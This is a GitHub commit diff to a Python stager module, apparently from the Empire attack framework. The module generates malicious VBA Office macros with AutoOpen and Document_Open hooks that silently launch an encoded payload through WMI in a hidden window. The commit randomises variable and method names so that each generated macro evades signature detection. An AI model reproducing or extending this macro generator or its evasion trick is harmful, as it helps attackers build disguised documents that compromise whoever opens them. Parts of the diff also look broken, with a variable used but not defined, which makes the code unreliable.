randomize variable names and method names

Make random variable and method names in VB macro code so that it looks different every time its run and runs the same every time
mdns
ceramicskate0 2017-05-16 19:59:43 -05:00 committed by GitHub
parent 6d88e8ee1b
commit 99d0b12b1d
1 changed files with 13 additions and 8 deletions

View File

@ -1,4 +1,6 @@
from lib.common import helpers
import random
import random, string
class Stager:
@ -80,29 +82,32 @@ class Stager:
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
Str = ''.join(random.choice(string.letters) for i in range(LengthOfVari))
Method=''.join(random.choice(string.letters) for i in range(LengthOfVari))
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
chunks = list(helpers.chunks(launcher, 50))
payload = "\tDim Str As String\n"
payload += "\tstr = \"" + str(chunks[0]) + "\"\n"
payload = "\tDim "+Str+" As String\n"
payload += "\t"+Str+" = \"" + str(chunks[0]) + "\"\n"
for chunk in chunks[1:]:
payload += "\tstr = str + \"" + str(chunk) + "\"\n"
payload += "\t"+Str+" = "+Str+" + \"" + str(chunk) + "\"\n"
macro = "Sub Auto_Open()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro = "Sub AutoOpen()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Sub Document_Open()\n"
macro += "\tDebugging\n"
macro += "\t"+Method+"\n"
macro += "End Sub\n\n"
macro += "Public Function Debugging() As Variant\n"
macro += "Public Function "+Method+"() As Variant\n"
macro += payload
macro += "\tConst HIDDEN_WINDOW = 0\n"
macro += "\tstrComputer = \".\"\n"
@ -111,7 +116,7 @@ class Stager:
macro += "\tSet objConfig = objStartup.SpawnInstance_\n"
macro += "\tobjConfig.ShowWindow = HIDDEN_WINDOW\n"
macro += "\tSet objProcess = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2:Win32_Process\")\n"
macro += "\tobjProcess.Create str, Null, objConfig, intProcessID\n"
macro += "\tobjProcess.Create "+Str+", Null, objConfig, intProcessID\n"
macro += "End Function\n"
return macro